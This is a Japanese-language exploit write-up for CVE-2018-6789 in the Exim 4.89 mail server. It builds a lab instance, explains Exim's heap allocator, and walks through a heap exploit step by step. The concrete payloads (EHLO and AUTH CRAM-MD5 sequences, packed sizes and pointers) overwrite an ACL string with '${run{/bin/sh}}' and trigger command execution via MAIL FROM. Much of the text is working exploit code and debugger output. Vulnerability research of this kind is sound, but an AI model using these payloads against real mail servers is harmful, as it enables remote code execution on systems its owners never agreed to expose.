
依存関係をインストールする
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
旧バージョンのeximをダウンロードする
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
次にLocal/Makefileを修正する デバッグしやすいように、各フォルダが現在のディレクトリを指すようにする
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
これによりデバッグが容易になる そしてコンパイルしてインストールする
make install
./configureを修正し、以下の内容で直接上書きする
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
まずbase64.cにあるパッチを分析する:
ここでresultはbase64デコード結果を格納するバッファであり、store_get関数によって取得される
パッチ適用前のsize計算に問題があることが分かる。sizeが4n〜4n+3の範囲にある場合、計算されたsizeの長さは等しくなるが、b64decodeは4の倍数でない引数をデコードする際に1〜2バイト多くデコードしてしまう
例えば、以下のように直接送信すると
auth_md5('Hf'*42)
size=0x40
結果のメモリ配置:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
もう一度試す
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
2バイト溢れ出た
eximはパフォーマンス向上のため、既存のヒープ管理機構の上に独自のメモリ管理機構を実装している。これはコードとglibcの間にある中間バッファに相当し、mallocとfreeの回数を減らすことを目的としている
eximでは、個々のヒープチャンクはstoreblockと呼ばれ、使用時にそこから適切なサイズのバッファを分割して使用する。storeblockを使い切った場合は、再度mallocでstoreblockを取得する。
各storeblockの構造は単純な単方向リストである:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
プログラムがヒープを使用する際に主に使用するAPIはstore.cにある:
store_get
store_release
store_extend
store_reset
store_getはバッファを取得するために使用され、その主要なコードは以下の通り:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162 if (!newblock)
163 {
164 pool_malloc += mlength; /* Used in pools */
165 nonpool_malloc -= mlength; /* Exclude from overall total */
166 newblock = store_malloc(mlength);
...
毎回申請されるstore_blockの最小長さはSTORE_BLOCK_SIZE、すなわち8192であることが分かる
したがって、8192サイズのstore_blockは、その構造ヘッダとヒープチャンクヘッダを加えると合計サイズは0x2020になる

eximがクライアントから送信されたコマンドを実行するたびに、コマンドの実行が成功するとstore_resetを呼び出して、不要なキャッシュや余分なstore_blockを解放する
ここで言う実行成功には、コマンドの形式が正しいことや、メールアドレスに不正な文字が含まれていないことなどが含まれる。そうでない場合はstore_resetは呼び出されない
この脆弱性は古典的なoff-by-oneである(実際には2バイト溢れ出ることができる)。しかし、溢れ出るバイト数が少ないため、ヒープチャンク上の重要な構造を直接上書きすることはできない。そこで、ptmallocのいくつかの特性を利用してこの脆弱性の影響を拡大し、より広範囲のoverflow、あるいはoverlapに変換する必要がある。
off-by-oneの脆弱性に対する古典的な悪用方法として、chunk enlarge -> chunk overlapがある。ヒープチャンクのsizeを大きく変更し、偽のヒープヘッダを偽造してglibcのsanity checkをバイパスすることで、ヒープチャンクの重なりを引き起こし、より広範囲の上書きを実現する。
ここでの主なプロセスは、chunk enlarge -> chunk overlap -> storeblock内のnextポインタの破壊、そしてstore_resetをトリガーして任意のヒープチャンクのfreeを引き起こすことである。再度このチャンクを申請できれば、その内容を変更できる(type confusion)。
mehは記事の中で、ACL文字列が存在するヒープチャンクの改変を推奨している。ACL文字列の処理にはコマンド実行機能が存在するためだ。 ACLの文字列は非常に多いが、ほとんどはNULLである(おそらく設定ファイルに関係している)。ここではacl_smtp_mail文字列を選択した。そのコマンド実行の構文は以下の通り
${run{command}}
おおよそのヒープレイアウトは以下の通り

最初のチャンクはbase64デコードで得られるチャンクで、off-by-oneに使用される。そのため、storeblockの末尾に位置する必要がある。便宜上、ここではbase64デコード結果を格納するために0x2020より大きいチャンクを直接申請する;
2番目のチャンクはsender_helo_nameで、次のチャンクを上書きするために使用される。sender_helo_nameはstoreblockに格納されるのではなく、直接mallocされる:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
したがって、サイズは任意でよい。 3番目のチャンクはbase64デコードで得られるチャンクで、主にヘッダの偽造と上書きに使用される。そのため、storeblockの先頭部分に位置する必要がある。便宜上、こちらも0x2020サイズを直接申請する。
私のexpも、ネット上で公開されている他の人の分析に従って一歩ずつ作成したものである。大まかな方針は同じだが、ヒープのレイアウトが他の人とは少し異なるため、細かいパラメータもいくつか異なっている。
まず、サイズ0x6060のunsortedbinを生成する。以下のコマンドだけで実現できる
ehlo('a'*0x1000)
eximが"EHLO "+'a'*0x1000を受信すると、match.cのmatch_check_list関数で以下の3つの文字列が生成される
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
ここでnameは'a'*0x1000である
nameの長さは0x1000なので、各文字列は1つのstoreblockを個別に占有する。これら3つの文字列は、連続した3つのstoreblockにそれぞれ配置される eximがehloコマンドを正常に完了すると、smtp_in.cのsmtp_setup_msgで前述の3つの文字列が解放され、0x6060サイズのヒープチャンクが得られる:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
このときのヒープレイアウトは以下の通り:

sender_helo_nameをヒープチャンクの中央に配置するために、元のsender_helo_nameを解放し、次に上部のヒープチャンクをプレースホルダで占有する必要がある。2番目のsender_helo_nameが配置されたら、上部のヒープチャンクを解放する。
ここではプレースホルダにunrecognizeコマンドを使用している。unrecognizeコマンドを受信することはコマンド実行の失敗に相当し、次のコマンド実行が成功した後で自動的に解放されるためである
注意すべき点として、unrecognizeコマンドによるプレースホルダの原理は、コマンドをeximに送信するとeximがsynprot_errorを呼び出してエラーを報告することである。以下のような感じだ:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
しかし、commandがすべて表示可能文字であれば、eximはそのために新しいヒープチャンクをmallocしない:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
command内に表示不可能な文字が含まれている場合、eximは新しいバッファを申請し、その中の表示不可能な文字を8進数文字列に変換する。例えば'\xee'->"\356"となる。これがlength + (nonprintcount * 3 + 1)の由来である
そこで、まずsender_ehlo_nameを小さなヒープチャンクに配置し、次に0x800個の'\xee'を送信してみる。これにより0x800 + 1 + 0x800 * 3=0x2001が申請される。現在のstoreblockにはこれほど大きな領域がないため、新しいstore_blockが申請される
ehlo('b'*0x20)
unrec('\xee'*0x800)

次に、0x2010サイズのsender_elho_nameを申請する:
ehlo('x'*0x2020)
これにより、まず元の0x20のsender_elho_nameが解放される:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
そして新しいsender_helo_nameを申請する。すべてが完了すると、store_resetが呼び出されて不要なヒープチャンクがクリアされる。これにより、0x2020サイズのエラーメッセージがfreeされ、上で既に解放されたsender_helo_nameとmalloc_consolidateが発生して、0x2050サイズの新しいヒープチャンクが形成される:

これでヒープレイアウトはほぼ完成となる。次に、直接プレースホルダを配置して脆弱性をトリガーする
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
上部のヒープチャンクをプレースホルダで占有し、1バイト溢れ出させてsizeを0x2021から0x20f1に変更する 次に最下部のヒープチャンクをプレースホルダで占有し、0x1f61のsizeを偽造して、次のヒープチャンクを指すようにする
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
ここでもう1つヒープチャンクを申請する。そうしないと、上書きされたstoreblockが最後のstoreblockになり、nextがnullになるためだ
auth_md5(b64encode('a'*0x1000))
この時点でsender_helo_nameを解放してchunk overlapを引き起こすことができる。ただし、ここで1点注意が必要だ。最下部のヒープチャンクがnextポインタを提供する必要があるため(これを上書きして任意アドレスのfreeを実現する)、このチャンクがfreeされるのは望ましくない。そこで、無効なnameを構成してsender_helo_nameだけを解放する:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
check_heloが失敗した場合、プログラムはこのループを抜け出し、store_resetを呼び出さない。それでは、check_heloのコードロジックを見てみよう:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
check_heloが送信された文字に対していくつかのチェックを行っていることが分かる。具体的には、英数字または一部の句読点、あるいはhelo_allow_charsに含まれる文字である必要がある。ただし、通常helo_alow_charsは空で、これは設定ファイルで設定されるものと思われる。
したがって、スペースを含むsender_helo_nameを構成できる:
ehlo('pwn it!') #must include some invalide chars
これによりヒープチャンクの重なりが発生する。
次に、このヒープチャンクをプレースホルダで占有してnextポインタを上書きし、ACL文字列が存在するヒープチャンクを指すようにする。ここで1つ問題がある。他のexpは部分的な上書き(partial overwrite)を利用してaslrをバイパスしているが、これは私の環境では機能しない。ACLチャンクとnextが指すチャンクが離れすぎているためだ。
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
そのため、私のexpは絶対アドレスを採用している
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
これにより、acl_stringが存在するヒープチャンクがこのstore_blockのチェーンに追加される。sender_helo_nameを交換すると、これらのヒープチャンクはすべてstore_resetでfreeされる。 そのため、今回は正当な名前を送信する:
ehlo('I'*16)
今回再びヒープチャンクを申請すると、ACL文字列が存在するヒープチャンクを取得できる:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
ここで上書きしているのはacl_smtp_mailが指すアドレスである。基本的にすべてのACL文字列はこのヒープチャンク内にある。これらの文字列はconfigureから1つずつ読み出されてstore_getで取得したバッファに格納されるため、このstoreblockの中に連続して配置されている。
最後にACL関連のAPIを呼び出す:
r.sendline('MAIL FROM: <[email protected]>')
その後、smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid内でexecveが呼び出され、run内のコマンドが実行される。以下はサーバー側のデバッグ情報で、コマンドが実際に実行されたことが確認できる

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789